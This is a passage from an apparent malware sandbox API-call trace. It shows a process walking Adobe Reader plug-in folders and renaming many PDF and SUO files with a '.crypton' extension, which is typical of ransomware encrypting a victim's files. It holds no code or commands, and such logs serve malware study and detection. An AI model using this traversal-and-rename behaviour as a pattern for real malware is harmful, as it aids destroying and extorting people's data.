10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0153.571] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd8e48b00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd8e48b00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0153.797] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0153.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0153.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0153.974] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0154.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0154.178] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0154.200] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd943c200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd943c200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0154.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0154.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0154.317] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0154.324] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd956cd00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd956cd00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0154.357] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0154.381] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0154.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0154.442] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd969d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd969d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0154.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0154.493] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0154.521] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0154.544] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0154.602] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0154.655] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0154.662] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd98b2b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd98b2b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0154.713] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0154.736] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0154.763] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0154.787] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0154.849] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0155.082] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0155.141] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf.crypton"), dwFlags=0x2) returned 1 [0155.148] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9d4f5e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9d4f5e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0155.153] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9d75740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9d75740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo.crypton"), dwFlags=0x2) returned 1 [0155.166] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo.crypton"), dwFlags=0x2) returned 1 [0155.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo.crypton"), dwFlags=0x2) returned 1 [0155.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo.crypton"), dwFlags=0x2) returned 1 [0155.197] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9dc1a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9dc1a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.202] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9de7b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9de7b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.218] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e0dcc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9e0dcc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.223] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e0dcc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9e0dcc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.229] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e0dcc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9e0dcc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.234] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e33e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9e33e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f3e7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f3e7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.360] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f64920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd9f64920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0155.365] FindFirstFileA 